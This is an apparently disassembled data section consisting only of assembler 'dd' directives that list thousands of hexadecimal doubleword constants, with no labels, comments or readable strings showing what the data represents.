dd 56802849h, 6711A368h, 0A5E97A39h, 0C64E69F2h, 0BC406D36h dd 33B730E6h, 2975CE0Ah, 5E850F0Bh, 50A256D1h, 0C681BD19h dd 4B509CC4h, 47B9959h, 2A34EBFDh, 0A35006FCh, 0BB9C69E7h dd 0B8ECF8E3h, 995428EEh, 90A6C259h, 710993FFh, 2EF4E83Ah dd 0C4E697E1h, 8E4C8E2Ch, 273780C6h, 0DB05D121h, 6A7E8952h dd 9AC53AD1h, 0BF903177h, 0B1586E04h, 4186A92Eh, 0E40CAF08h dd 0A6613429h, 3146894Ah, 96B5970Eh, 283AF0A1h, 0B840F387h dd 5F67B559h, 5E1962A5h, 865714E7h, 0A50E5F3Ah, 0C1244612h dd 0CED9C2EEh, 3C10AB60h, 0FFABA3BFh, 75C3D269h, 4031F89h dd 187D6AE9h, 0A0A1F5EEh, 6EFF657Bh, 0B14847CFh, 0AF471F27h dd 7E896421h, 46797918h, 585EC8FFh, 5FE965B0h, 687780A7h dd 8CB6469Eh, 5FE4EA64h, 0B8C640DDh, 0DB267C04h, 7AC429A8h dd 7D5CFBACh, 44AEE9A0h, 2C8BDBB1h, 0D7260489h, 54D2F416h dd 7952DB96h, 78E98A23h, 0F181808Eh, 20E75E67h, 0B0E4160h dd 0A0C0E0ECh, 0B44D6F7h, 0B4E901BEh, 8BDB4BA9h, 68826B13h dd 80057F01h, 0E2C601FEh, 4B3C9504h, 0C22B5CA3h, 0A7ED1F85h dd 0D30B0190h, 89E989A7h, 0EAD1EF60h, 0FD03903h, 960F984h dd 25CE6814h, 5888C379h, 0BD00AF48h, 3D14A7BEh, 0F1019EB8h dd 0EB59B85Eh, 0E974A8C2h, 7681350h, 7B12A37Dh, 3C780209h dd 8F696831h, 81201C47h, 0C50FE877h, 0AF5158A1h, 4FA25C28h dd 1AB86160h, 0B19D54F5h, 0E467D8B0h, 4C012D13h, 0C06B88Dh dd 0EBCC9F28h, 9612CE5Bh, 27799300h, 0BF2344h, 5D181AF1h dd 295BDF31h, 0F92780B2h, 4A5EC65Fh, 9E2C4B30h, 45BF2378h dd 0FD358B66h, 8F427954h, 60A7290h, 41101FF5h, 0B7221806h dd 0C4C50730h, 0C16D646Bh, 4613986h, 8AF08BBh, 30F34212h dd 0E7C14F04h, 75A48003h, 0EC4C11D3h, 839926EFh, 463AB880h dd 48090F95h, 984D69C5h, 382F0502h, 0C3D403E2h, 240033Ch dd 2D0174EFh, 0F2875128h, 25E3055Bh, 0E498D2CDh, 0DBBB9F68h dd 2CC93B14h, 524605D7h, 0F3E5059Ch, 0E45B0803h, 47251C85h dd 6953C586h, 0AD09C75Eh, 0A56A02D6h, 2A9FC808h, 5255B62Bh dd 6E885ADEh, 0AD92ADDDh, 3EA7A400h, 0F083D16h, 2C2F2E8Ch dd 5EB60F97h, 0AC55BD84h, 865BCB52h, 7006B8BAh, 0E9CB09B0h dd 68A0D5h, 27508ADBh, 0E1FAF280h, 6805AB96h, 0F9341852h dd 411251C0h, 4F5D01EFh, 7C21F781h, 0CAB0CAA3h, 0BF78ED80h dd 0B9AA0D25h, 0CB2F2149h, 0CD24000h, 68C83104h, 0D08C5A19h dd 0ED1448F7h, 34C2BDCBh, 6678B274h, 0C8BE090Fh, 56FE19E9h dd 34973E8Ch, 0A72D4A5Dh, 0E5D28416h, 58C28802h, 0A3970777h dd 9B1DD305h, 0E346616Fh, 4C615E90h, 5CE107C0h, 4B50F1Bh dd 1C3D6C8h, 3BBB60DBh, 0F95BDD89h, 89A449D8h, 0FE5D110h dd 0C94849Ah, 4FE82DB5h, 0E53D48DAh, 2C6BF181h, 17F92218h dd 0D9C5A6E9h, 800200E9h, 0D8297BD4h, 0AB9591AFh, 342CED97h dd 0F3B19C52h, 14C4AE32h, 0B8B02F5h, 78F0545Bh, 0E291BAE9h dd 3F36C103h, 7A1610ECh, 734F5144h, 0B665761h, 7C07B1E9h dd 2AAEBBCFh, 0AF33ACCEh, 0F710623Ah, 0B5CE6B96h, 4062E9E1h dd 1EB92D01h, 96F5A8C4h, 81DB84DEh, 0D0184CAh, 94FB6E0h dd 0CCE94B13h, 472292Eh, 21C1D53h, 5602C283h, 0E2FE647Dh dd 6DAB30A6h, 98CB07B3h, 5F828BBh, 495F7607h, 8962602h dd 8AAEBAB3h, 4CC8840Ch, 23954FFEh, 7176F710h, 0C981E691h dd 5671649Ah, 4EC520h, 314B3842h, 6B4CE9F1h, 0E1363591h dd 61E2000Ch, 0F59832Ah, 1BDE08Eh, 18BE9D1h, 0E5E4A168h dd 2A5C21C9h, 9028194Bh, 80BEC427h, 4BBD43B2h, 91EBFA86h dd 1C305054h, 93C269E9h, 0EA52D6F4h, 89967FEFh, 8063D24h dd 0F02CFE96h, 0B8B0D633h, 9E9C22Eh, 846655E1h, 0A5A459F2h dd 0E5FD4Bh, 51D8B72Ah, 2002A1Bh, 8211F4BEh, 8A25F410h dd 64BC5EB9h, 4AE63502h, 0DE702732h, 0B82948C4h, 58F474h dd 663B3546h, 21E93042h, 4E20CF66h, 4097416Ah, 6271B9A8h dd 0DF295C1Eh, 908EF14h, 46555E5Bh, 0F5893DCEh, 93EF2913h dd 0D925D6E9h, 40D9595Ah, 0CDD9E956h, 2F42B3B5h, 626511A8h dd 5013DB4Ah, 27BEE030h, 3620035Ah, 63E8C681h, 830F5E80h dd 51C1797Fh, 8C4A9ACEh, 4F495260h, 4B3D519h, 4226B9Eh dd 37FA51ADh, 0AE43D280h, 147736E4h, 7AD47927h, 1B3C208Dh dd 3B1622B7h, 92535CD5h, 0F846CDC5h, 919F094Bh, 54EAE2DFh dd 0A8B5511Dh, 824D68FDh, 0BE433B89h, 85A1248Bh, 0A8152EBFh dd 405650C2h, 296BBCB5h, 15F6D96h, 142165BDh, 5DE9CC16h dd 2E1C102h, 7ECF880Fh, 0B4F180B7h, 89185085h, 848CCA49h dd 4BFFA01h, 0D434689Bh, 6F1DA434h, 5640E26Bh, 6BEBE72Dh dd 7F8149C6h, 2F0A7548h, 0CC050D79h, 0CA027DE1h, 96C2EA13h dd 7CF2B0C8h, 0ADC159C8h, 0B96EFB13h, 21519945h, 0BA153FEh dd 8527F8ADh, 0ACCE72FEh, 8244C95Ch, 0BF0146B8h, 45784305h dd 0F5D7F54Fh, 5AAD349Fh, 0F892D4ECh, 0E3F8D1AEh, 0E7CC335Fh dd 9B481802h, 43A14339h, 76E9C89Ch, 0C0325AF4h, 0EC5B4925h dd 0B18CD3D2h, 67965F68h, 5E4293F9h, 1CB09512h, 0DF1923CAh dd 8A30E9BFh, 0FFB897Bh, 1462F10Ch, 6F1DD4BEh, 40108F40h dd 5BEE89B1h, 0BE221398h, 0EF317D9h, 0F896130Fh, 148648EFh dd 71E3525Fh, 929E5655h, 4E575CB9h, 0F25B36DEh, 92CB102Dh dd 0C1DAF700h, 0F28107E2h, 359D5804h, 60EF01F8h, 0A989E9F5h dd 0D1C20AB6h, 62035E5Ch, 315E7A92h, 0CD6C1471h, 483282B5h dd 90A01E77h, 2AFA41B7h, 0D687382Ch, 691714F5h, 5200AF20h dd 0AD2C57BAh, 0DFEAD16Bh, 83B7D2DCh, 32B1512Bh, 0F3277ABEh dd 92C5B8E2h, 56936083h, 0A0847E53h, 8CB3486h, 0D1310480h dd 27D045A5h, 8CA64C4Ch, 6493E93Ah, 22FBE6EDh, 0BBD53D8Bh dd 50CFDAE4h, 54012DC6h, 4FB346F3h, 680F0B5Ah, 7559653Fh dd 4720FD8Ch, 4E915FE3h, 0EB67F3F4h, 0BC8FB59Eh, 5A9B5EE4h dd 5B76B640h, 27588A4Ah, 4E538B82h, 0DDF8883Eh, 0C90ABC0Eh dd 497F4780h, 3ED2399Eh, 0DE4659A8h, 5947E982h, 7B97FEDCh dd 12B587E0h, 0A89B041Ah, 0FCBA2EBDh, 0ED8308Dh, 515B0B7Ah dd 590A79E6h, 0A1C7709h, 0A65BE942h, 0F0964E88h, 0F848FA3Eh dd 26289A9Bh, 2FFBF929h, 85A09443h, 0E99FA3FAh, 8AF408B9h dd 200497E4h, 40CEC155h dd 0D3327F32h, 257DDCA6h, 30DAB41Bh, 33ABA0CBh, 0F1EA0B63h dd 0C8771347h, 3C471659h, 0E89A6E7Bh, 71CC681Bh, 28D38415h dd 78A7B258h, 3F469DA7h, 5A4A16F6h, 0AAE037C9h, 0B194A845h dd 7130BD83h, 5D803725h, 0A1095A66h, 0DE4BD5F3h, 11B03860h dd 4B013FF9h, 7EF56857h, 503F0773h, 4565B80Eh, 70D0F787h dd 0E9A3FE05h, 0C1F58524h, 0BF08034Eh, 0D2DA0449h, 8009DC3Dh dd 8F74FEA8h, 32E43E5Eh, 2D71B6F7h, 594207F1h, 860409F0h dd 0A7B71294h, 0E90F5230h, 7C92D635h, 88E3ED04h, 7F8259E8h dd 8F5D684h, 51031B43h, 99536652h, 876E71B2h, 58D0F5A3h dd 9AAAA09Dh, 29D5A716h, 0A9C22D04h, 14F115B4h, 0C1620140h dd 4CB4510h, 0F65BFA88h, 0E83631C2h, 48E5C1D6h, 0FD191D04h dd 0D2B0C3FEh, 2408030Ah, 5F526339h, 257DC5D2h, 0A1C150D1h dd 0D03AFB22h, 6E6B191Eh, 0E7A0FA4Fh, 89F25001h, 1066BA21h dd 4EBC85h, 8857EC80h, 482058E3h, 1C27D2D8h, 1087759h dd 5CC22DC4h, 0C474B2D5h, 2E3E924Ah, 92B02CE9h, 4EFCF631h dd 2842D1C8h, 0F09E23h, 0B15457EEh, 0FA800F79h, 9EFB9758h dd 2BBC8904h, 0B34961B9h, 529F605Fh, 8004FCB6h, 0F788C0C6h dd 0E8A500F8h, 549A1611h, 276844C8h, 1451492Ch, 18003A92h dd 5D96057Ch, 29670A80h, 30072DD8h, 0E0685B6Fh, 11934265h dd 0C554BB4Eh, 52A329D1h, 9DC92F34h, 51942E92h, 9494B7F4h dd 44792D35h, 997496BDh, 6B20E2F5h, 80699E48h, 0A52FC8EAh dd 49985F6Eh, 664DFC0Bh, 20D00C07h, 3B2E28CDh, 9CEEA3C5h dd 46090681h, 0BAF18553h, 2535568Ah, 0C37A6FD0h, 6B8546A1h dd 59F31157h, 0F54267Ch, 0D328891Dh, 9FC3D261h, 6D33C3Ch dd 2668D0B0h, 0EFE5468Ah, 7F1595EDh, 0F7816300h, 4BBE7AD4h dd 0CE61A134h, 369CF5h, 0FDFB66EDh, 189A6835h, 1CEEC69Dh dd 0AF86239Ch, 81813D04h, 2AE06EDFh, 748F8687h, 170C6808h dd 172A592Fh, 259E9D7h, 0E51ECE5h, 0D876E062h, 0DFF112FEh dd 0ED2DAF29h, 0ACD6D92Ch, 0E8F6966Fh, 752C0B01h, 52FCE919h dd 25764E1h, 8E3747h, 1DD4BB53h, 434AD912h, 32A1BF05h dd 89C2D9BCh, 0E50F5C0Ah, 44AB778Ch, 1231F3E4h, 7ED08800h dd 485E170Eh, 35968752h, 7421FEE1h, 3F938DFCh, 0E1445261h dd 2F67F425h, 62C28080h, 53FB8839h, 12BECF0Fh, 1F579536h dd 927BE580h, 0A1C756ABh, 74D63A51h, 0CA76E99Eh, 0B8E2FE2Fh dd 55E9E1FBh, 0A4A6D211h, 0B64FC9ADh, 7CE96B84h, 5F1268F0h dd 0FD2F3EA4h, 684FF14Ch, 2CEF00BEh, 10E97964h, 0FA74074Ah dd 0EEF3282h, 0BF3B3CA5h, 9F6402Ch, 0BC8F0FDBh, 0EBC0F022h dd 0C98B02C0h, 0EFAC10D7h, 7764518Fh, 0B5D3BCD5h, 1715FF80h dd 1662DE4h, 804CCE2h, 4A08A659h, 0CDB16B2h, 41B6E9E0h dd 0F286E697h, 2D3C40C1h, 0ED3D18E0h, 9D21351Ch, 7C7790B7h dd 100AFBA5h, 0A7513DE0h, 4327F928h, 820F2FDAh, 0C4631933h dd 0D5D2BB71h, 405ACAD5h, 9544F840h, 7C98CE0h, 25B9CC96h dd 0FCD2E456h, 0E57BDE9Eh, 0C9EF1274h, 318027BCh, 16515C6Ch dd 896C1B68h, 55983BB3h, 4DEE61BFh, 3A6B52BEh, 1DB968E0h dd 0E73D08AAh, 9781B3F8h, 30793C8Eh, 1D56205Eh, 54797669h dd 5F6EFFF7h, 5876238h, 5620E8DAh, 0EA862D8Ch, 44B3A1C0h dd 4BEA9h, 9C234168h, 53086033h, 0EFA0148Ch, 0C40B78A2h dd 0D1DFF77Fh, 36B9804Eh, 0E9579007h, 50174B5Bh, 99B47137h dd 0BF0222B8h, 131A2181h, 0F07EE042h, 920B45ACh, 50EDB88h dd 0C01ACD80h, 2048B355h, 34B8DD76h, 97497BE9h, 0C5BFE78h dd 0A126D828h, 374C6665h, 6AAF7CC2h, 0B89B02F6h, 53D6419h dd 54580E08h, 0AC718250h, 0AE648007h, 0C11903EBh, 8F0C0B1h dd 0F824880Fh, 8793A7DBh, 0CAAF1484h, 6A207E0Eh, 0C4A9B661h dd 990DC831h, 5C82FF5h, 19E9047h, 0EA7D3DC9h, 3E5FFA89h dd 4B82EC14h, 0BF576121h, 0CB0B07E0h, 30F81EACh, 0BA3DE393h dd 4CB3CA6Ch, 0FE54B79h, 9E460F0Eh, 0F504F943h, 227A3AFDh dd 4D254C2h, 760FEA5Fh, 0BD02D0A4h, 2ECB6235h, 6AB82CC3h dd 0D1760260h, 308F4D48h, 69044808h, 0C1805FC4h, 258EE6Ah dd 2D655759h, 8524E99Fh, 313881A8h, 0E527274Bh, 0AEFF88BEh dd 0AFE3843Dh, 0CFBC5408h, 93ACE05h, 94B8013Dh, 6B6D299Bh dd 500525C1h, 8271C76Ah, 7842DE8h, 12ACB25Dh, 9FF351B0h dd 0AF685704h, 0CFCFE24Dh, 0F09BC95Fh, 49949DF1h, 0C8E9CF09h dd 4D29D135h, 0F59F60F6h, 6DABE855h, 8C62106Ch, 25D5BD02h dd 42550BFDh, 0C4D205FFh, 0E6C42AAh, 2A9BC831h, 0C928404Eh dd 0DDD061F7h, 502703E9h, 5A808BF3h, 1D64182h, 7C22B52Dh dd 5300DCB1h, 0C615F468h, 0D55B484Bh, 5139620h, 301D246Eh dd 0ACD37465h, 2AEB10A5h, 81F6B129h, 75129DFAh, 91AC6EE3h dd 0C6B5B1h, 90F0F180h, 0CD1F229Eh, 99A52227h, 613F5E9Ah dd 1837D577h, 0EB299FB9h, 6009D652h, 595DE538h, 0C4414E2h dd 0F8E95981h, 105B625Eh, 680EFBA9h, 947C1137h, 0FC001A5Ah dd 0E90A6715h, 0E6BD0ECEh, 5551F20Dh, 0D505CDD7h, 0D4C57B20h dd 1B0D242Bh, 0B8500087h, 1466753Ch, 4220E917h, 7973D097h dd 4D7917E6h, 0C452EC54h, 0CDDD03BEh, 81A2D13Ah, 0F427E4F7h dd 0DE4E407Bh, 585DA0C2h, 314EB08Fh, 3C579097h, 2C600D7Fh dd 0BE1BB51h, 94AB65E9h, 0B7E2A474h, 3EE0A21h, 7E070E98h dd 0AC5F1816h, 1040F062h, 1E3EE8E9h, 0F90117FBh, 0A084410h dd 4450D068h, 0C1018F8Ah, 3D43AA0Dh, 0D8ED893Fh, 0C916D2EBh dd 9EB0165Dh, 0CCDA49E9h, 0B7D4E84Bh, 64EB328Fh, 0E9DB42F0h dd 995D199Ah, 852B67DEh, 0C869E9C1h, 7B40B1Ch, 6B0D00C5h dd 8A3F0A4Fh, 0DB207E6Ch, 0C5801257h, 4B09AF73h, 0CDFAB0C1h dd 0BD3B0324h, 1C8A0F4Fh, 2BE94D0Bh, 0C599F605h, 535EB0B6h dd 0EC2D41B2h, 6966A0F2h, 337E35BAh, 3364DA29h, 8886471Ah dd 0C2915E24h, 0D3E4960Eh, 0E3070273h, 92C38006h, 2C49223Fh dd 290EF78Ah, 0D966B292h, 17FB82Ch, 93E94386h, 0ADF32AC9h dd 2C683C2h, 16209B5Ah, 0CB05022Fh, 5659361Bh, 85C19177h dd 2BD30D2Ah, 0A4E22EB7h, 0AF1171D2h, 0F2CA7A0Eh, 0EAF88D84h dd 5F67C828h, 0D53391FDh, 0E82800D1h, 59C9252Ch, 0E4B0D6FCh dd 0B8CB8846h, 8901EDFCh, 0A52930E3h, 7F503F0Fh, 0E006CFC1h dd 4B5D5AE1h, 785A040h, 0F2DBE17Ch, 1F7F5092h, 54D9F759h dd 754CFDE1h, 2F82120Eh, 6D6FF1C0h, 0A1B8175Ch, 4BA3934Dh dd 0AC4BF9A9h, 804B781h, 38722109h, 6068E939h, 478AB83Ah dd 0D12001Eh, 3BA95FCEh, 62002D40h, 83417E77h, 399101E8h dd 3583D1F7h, 3D75136Fh, 0CA04F8A8h, 48973848h, 23E985CDh dd 3D4D954Eh, 771B7DC9h, 0D197DE14h, 537B4514h, 527A30EBh dd 50450BAh, 0D001607Ch, 0EC964BF2h, 4C1241BFh, 0B94BE27Eh dd 8AF180BCh, 0CBD42B9Fh, 3B3800ABh, 5A36882Ah, 9B6CBF2h dd 34CE5F7Ah, 3B06AF20h, 9098E1B1h, 5F673E6h, 1C74FE16h dd 9D6024B1h, 8583F557h, 68BD55E7h, 0CA734581h, 0A819E340h dd 0B22753B2h, 0E72D99Ah, 0FA4ED688h, 0A266D304h, 0A4023B4Dh dd 712C75Ah, 2C71C101h, 42072837h, 29F50DE9h, 384483BDh dd 0ED9B02DCh, 0E54BF2C2h, 2BB84960h, 0D2627D25h, 0E908808Eh dd 3496E3h, 8D0FDAF7h, 0E9BF3B86h, 5F0019F1h, 8B00EC8Ah dd 72F335CFh, 0E65640BEh dd 3A791828h, 0E1E9FB3Ch, 0F302A095h, 0FFCD75C8h, 3C11CD30h dd 0A0626026h, 91EC3F58h, 54657CB6h, 1CB8A003h, 7772F32Eh dd 985582CEh, 4ECB2166h, 0E9FE0E59h, 95CE0D6Bh, 0F3C9092Ch dd 27B5553Ah, 31E9C7F8h, 0AF19D41Bh, 0ED6545D9h, 58CE1644h dd 9C60D9F6h, 31783D7Dh, 50B28348h, 45B719B6h, 4DFCBF5Eh dd 354A2C9Ch, 0CE13023Eh, 0C3C15344h, 0F03C70E8h, 2E0A0551h dd 0C0001329h, 758741Eh, 0C1DEF76Fh, 0D6A4EEE6h, 2DE8C146h dd 403BED02h, 0FD5F0DF6h, 0F3016512h, 4E080610h, 15EB7D95h dd 34B67FB0h, 0CF0D2A07h, 846B0144h, 0DBAC6D11h, 0C49CCA5Eh dd 6DB80CA2h, 0F2C9E8D4h, 0E92FC8E6h, 0CE22B11h, 7C880A3Dh dd 9CCB2CDEh, 43A34022h, 0DF91BFB6h, 0E23CE989h, 45D5702Dh dd 649B0BD9h, 0ACB196BAh, 4002882Fh, 0AC53B394h, 7B852C46h dd 2F05CD05h, 9825A03h, 0D03102D8h, 2A2C6661h, 21099DF2h dd 4C54BF30h, 1F459F03h, 0FC180523h, 0FFA6C738h, 8E93F02h dd 24FDE4F5h, 0F144D06h, 4E402FEFh, 2B3A880Fh, 0DCF599C0h dd 595EFC71h, 0E94A7B55h, 0C7E90B22h, 0C126D1E5h, 4C59B268h dd 0FEF251BCh, 0ABB5222Ch, 0E280A012h, 2D334CB8h, 0F37A2B58h dd 8269EF0Bh, 784AF68h, 0C5861E9h, 41CA9640h, 3FF64613h dd 0BEFD1706h, 37A95C7h, 9E8DF23h, 70016A24h, 0DBFC3F56h dd 0D54D031h, 0D2FA66E9h, 1D024CE6h, 1FB4471Dh, 56FC8939h dd 9DC2EE1Bh, 2C165554h, 84D03209h, 0F5E04028h, 62F138B9h dd 0F93E47CCh, 0F9491B16h, 0D9842724h, 10792FF3h, 7E20AF17h dd 4C805831h, 0D803E73Dh, 4E06BE5Ah, 0E649808Dh, 0B4C437Eh dd 74A308Fh, 3EEACA81h, 0DF61162h, 0F54509F2h, 0FC48FE6Ch dd 5BA0665Ch, 6BC083D3h, 0B30837F3h, 0EED643h, 0B39E30Ah dd 0B2907986h, 361E1C30h, 40FAE94Bh, 0DCF989A0h, 45C3ADC2h dd 0A2203EEAh, 0B9E35719h, 5ECEE020h, 9B54D858h, 0A6B59412h dd 583171F0h, 5C4D63E8h, 5569045Eh, 6D32BFB9h, 97FAF842h dd 53C547FBh, 0B55B75ABh, 58F300D2h, 22790211h, 3A63E94Ch dd 831A27CAh, 37030400h, 0D5B19BDAh, 4F3AACF2h, 29A20F0Bh dd 929C5F5Eh, 110C8725h, 0D13B54B8h, 2AFFA5B1h, 864CF8F7h dd 0BD895539h, 930B1DBFh, 0D8772A72h, 0D11F505Ah, 75E4EF12h dd 84A6A3D6h, 0E3C11B94h, 290137F6h, 5B84205Ch, 82FFC1B5h dd 6DC8913Fh, 8A53024Eh, 0B083D79Eh, 0FD8C040Fh, 8102A9F9h dd 761AF7EEh, 35E75841h, 9B2C7A9Ch, 0DD82823Ch, 0C797ECAh dd 50A5006Bh, 0C3736A6Fh, 1472F20Ch, 8D67E9C0h, 502B48B5h dd 883C1FB4h, 0BCBB16E2h, 6BD85BA2h, 0E32BEF8Bh, 0BA25848Dh dd 551DEC18h, 61001895h, 0C655AB22h, 10805C0Ch, 144AE93Dh dd 4C78F4B6h, 0B91071DCh, 4E350E86h, 7BC04BFDh, 0EB9A8CDh dd 56EA28F9h, 41E4E6C0h, 461363ADh, 19F053E9h, 890F1240h dd 12E35F0Dh, 599BC0C4h, 2D04F829h, 60DE67A5h, 0E222E0A6h dd 883BF7F6h, 98166570h, 0B600F052h, 0D75A87A2h, 0A9659F01h dd 6CFE5692h, 0E980336Bh, 913D5307h, 7220892Eh, 0AE847484h dd 0AADF217h, 9ED4E9E4h, 2D2FA7D0h, 501CC7Ah, 22F036D5h dd 170D801h, 5C511680h, 0A0FC146Eh, 0AC4BD449h, 9351DE3h dd 0B2CC06Fh, 3A7195B8h, 56DA57E2h, 592A6F12h, 75092F4h dd 4535D8E9h, 65AE410h, 4558DDEAh, 8F082E5Ch, 0DA09A713h dd 614FCBDh, 40540AE9h, 32056816h, 9121E1E3h, 9B80E437h dd 0B55F446Eh, 0A16599B8h, 55A0BB04h, 1B855D58h, 0AA3623BAh dd 2437FA94h, 56F7A992h, 1000CAB3h, 925925CDh, 759677F9h dd 106E39B5h, 28A1E900h, 59EC4C83h, 8B39CC05h, 5E43B03Fh dd 190F4D40h, 2B19968Ah, 0CEF600D5h, 0B79813E1h, 3E529963h dd 0BB56852Ch, 5EF70B88h, 0F26A48D4h, 0B31CCA00h, 9F35E97Ch dd 7B6AEE48h, 0B50FA9BBh, 0D5007709h, 954CC7C6h, 0BFE098C1h dd 4E20A544h, 0EB800CC5h, 26085A0Bh, 23B6521Eh, 0A3AAC68Fh dd 0B7FE14EEh, 0E6C0CE20h, 17F6FA06h, 5DEAE9A7h, 0B07853C7h dd 0EE1DBFC1h, 0A4F08D3Ah, 2DAE446Ah, 1A4529DDh, 0B7ED8993h dd 0DCE93F7Bh, 31AEC885h, 9EA1BCCFh, 2DBED1E5h, 65B832C0h dd 983C6028h, 0CF8EC704h, 0BFFE4Ch, 66AE35F4h, 0DAA039B1h dd 9125E907h, 0A4614556h, 87E325C4h, 0C03AEC01h, 0DEF605EEh dd 9195CCF4h, 879A425h, 0F7053AA0h, 87EC43D3h, 7E04D94Ch dd 0F1C0840Fh, 408F6A04h, 773E2F1Bh, 0BB0A0BEDh, 0F75C7742h dd 19064112h, 1815857Ah, 807E1C1h, 80F103E9h, 895A86BAh dd 0D2D301DEh, 5A1DBD6Ah, 6BACDCC4h, 2B86F44Eh, 0A633B55Ah dd 51C0811Eh, 125D2B20h, 0C036B44Fh, 8D0BC708h, 3D475058h dd 0B23E2695h, 17E3D908h, 5330B5Ch, 13BBE6E0h, 20145F07h dd 69C2DA09h, 0DF3BFF55h, 37FA1192h, 927F6220h, 22D7900Ch dd 0F462B2C4h, 0C9295B0Bh, 0BD75A9B2h, 169EDAE1h, 2683AEC2h dd 5EF08DB6h, 107B7D14h, 0BB02C0DCh, 367D3478h, 470DA4E0h dd 95548A2Eh, 5EB19D12h, 0D29B772Ah, 0B875F637h, 99685022h dd 396AB7CDh, 24F3F3C4h, 0ACEC6108h, 0B4330E63h, 9110F120h dd 0DDA11468h, 4EDF3D28h, 8B503001h, 173A23D6h, 369B01Eh dd 340AB8F6h, 0C80CC222h, 825ED225h, 6A2E5DC8h, 15A52C3Fh dd 607D90DDh, 31692C5Dh, 0F7F29924h, 6E0A389Dh, 15AE0564h dd 0AC077EE9h, 0B2C4E4F7h, 0B26F53FFh, 0D2EFCEA5h, 5CEB28BAh dd 2FFEC8BFh, 4F0C94B0h, 0EA3AB804h, 8B132474h, 9E5CEECh dd 0F510584Dh, 180A5ADh, 0B51D9AD7h, 92049643h, 5FCF70EBh dd 878ABEF9h, 0EDE98B65h, 41668041h, 7E2309h, 3D7CA9B9h dd 0DA1626A0h, 185492Ah, 7925CF74h, 0D47825DBh, 0B480904Ah dd 9F21A968h, 0E32EF76Eh, 0DE825DFEh, 42EEF733h, 81825C08h dd 0FCA8E3EFh, 25362C56h, 5F2640B9h, 0ABBB0453h, 0BB34DA2Fh dd 6AB12201h, 5B20090Bh, 0B8590202h, 30E9433Eh, 45FBFF58h dd 81207F3h, 80016483h, 0A9EFDE09h, 40C236BDh, 0E9E69112h dd 0FEE6CDEAh, 0ACA7F04Bh, 0B354BC4Eh, 8645FC09h, 9462AC7Dh dd 2F00748Dh, 405822A9h, 575B951h, 21117F16h, 0A0C7B0C8h dd 91442F4Ah, 56EA9E1Fh, 9D91B49Ah, 9BF8C40h, 3F1178FAh dd 6726DD5Bh, 810E6102h, 2EFE82C9h, 0BB7B602Ah, 326F2549h dd 1B13EB7Ch, 0E7B82943h, 401A924Fh, 27359AA0h, 4D2503CEh dd 36B1F458h, 74D35412h, 0CD071F9h, 21050841h, 0C42F42CDh dd 5F340009h, 0C1E9E821h, 10D1934Ah, 37E93D19h, 97F27DECh dd 0A8EFB998h, 0F481FDA9h, 4E0F31B6h, 0C9D58979h, 3000604Dh dd 90E097F4h, 55C084D1h, 2B1088C5h, 9208F603h, 0D29ABF36h dd 0D24EAC52h, 7CB04C91h, 0D7DE6669h, 0B9095272h, 0CCABA4FCh dd 0DBB4E57Dh, 60F94204h, 0BDDC2DC0h, 139F4E06h, 1655D812h dd 7F224C5Fh, 691B4408h, 0E80C8B6Bh, 3704DF44h, 148B4E2Ch dd 0E95328BFh, 5B2B38E1h, 415D1AD8h, 70EC00C9h, 1102B73Eh dd 6B778D05h, 0DEBC860h, 0DB211F49h, 4BC84037h, 96E9642Fh dd 59275196h, 0E0574663h, 14A9E3Ah, 0B564BF28h, 0AC71D7A9h dd 0DA649631h, 4E0217B9h, 0C5ECF047h, 6B132404h, 0A5F184E9h dd 2599F12Fh, 0C1EF10F9h, 7F9003E2h, 2EC0DB4Eh, 5F850F4Dh dd 12951FAFh, 686C8179h, 0A7062A81h, 1DCF18Ah, 0C7A8E2C2h dd 513406E9h, 37BCA89h, 4D17802Dh, 507CB036h, 2D5E0705h dd 0F844C331h, 2C89867Ch dd 555F2C2Ah, 219E910h, 0C4F97460h, 7AF6CFDDh, 59C04195h dd 0B3D4F032h, 0BF02CF5Ch, 40E42F8Eh, 0F709E1FEh, 8AFF4D7h dd 5F12A2AAh, 20A9F708h, 0B5F3FAF0h, 14DDDA09h, 0EB830758h dd 99F2E902h, 7FBFB1A2h, 0A86FF47Ch, 880F0FDBh, 96B2A04Ah dd 0EEFEA0E0h, 0F32E1F41h, 0A9E04F8Eh, 9E45B68h, 12F06610h dd 29A52554h, 4094EEC9h, 1ED4F653h, 8BCBEC80h, 0FFA0A44Fh dd 210B8F68h, 182A2E7Bh, 0E19DA123h, 0E8E8F42Bh, 71AB72Dh dd 0DF541A42h, 60585A62h, 2071A3F0h, 0E30B132Fh, 874845C7h dd 2D40C3B2h, 5CF76864h, 77254DD3h, 2E5FEE61h, 53139DF6h dd 0FF37EE0Ch, 61B19E94h, 0D67ABCF8h, 7FFDA60Ah, 124CF148h dd 21FF5A5Fh, 39BE46D5h, 0AD317E2Bh, 18D5616Bh, 0F51CC7Bh dd 84DFAB48h, 0E0BC7A8Ch, 0A0F755C4h, 0DFBCA855h, 51820F02h dd 27CE7D21h, 987E6BBFh, 4FCD228Eh, 405F290Dh, 8806493Fh dd 0BEBF3902h, 0D5FB5457h, 0BF097D04h, 0B40A7D81h, 0DEB38283h dd 51F8C380h, 85EE268h, 34043DF3h, 0E85BDD88h, 84ED1CBEh dd 0EC07F5D2h, 0CBB159EBh, 78CE810Fh, 7248CD7Bh, 89D9D1BAh dd 806BEB13h, 0E2177B08h, 7DBF3512h, 8106FE0Bh, 2590F801h dd 0F7761C49h, 0E316F5D2h, 64C46816h, 0C3E03DBCh, 0B82F155Bh dd 8B5A874h, 7066E909h, 0E7801E57h, 88140BD8h, 3D865DA0h dd 0FBF47E5Ch, 0C014E060h, 168003E1h, 42813F1h, 109B028Ah dd 52C102C1h, 775B1777h, 0E90B1EE7h, 277AFEDFh, 0D7522454h dd 0F028D5AFh, 5D45882Eh, 0AB8897D4h, 0D5E72EE9h, 0B318C2FDh dd 51992275h, 3F02099Dh, 4459CB4Eh, 870A9328h, 8178174Ch dd 8D7BD102h, 75D88044h, 16389B6Dh, 0D3B9DDE9h, 9F4FD04h dd 90CADA09h, 9D3E9269h, 0C55DADE2h, 0DD68C2B2h, 96B6CCDEh dd 25557B0Ah, 0A4D16987h, 283F4A80h, 0EDD2F74Dh, 5F030h dd 491DBF57h, 0FA2175CFh, 0FC11E918h, 3FD7BDE3h, 0CE05B3Ch dd 64BA1C39h, 29994195h, 0A051D31h, 0C83671ABh, 0E81E4405h dd 0E0D3A144h, 4CC8B6Bh, 30223B07h, 2FB722FAh, 5C129074h dd 8FCF71FFh, 76353A86h, 0A2C1CD81h, 483DCC2Fh, 2E8A2900h dd 685EF101h, 30224F9Fh, 1865A520h, 0E996620Bh, 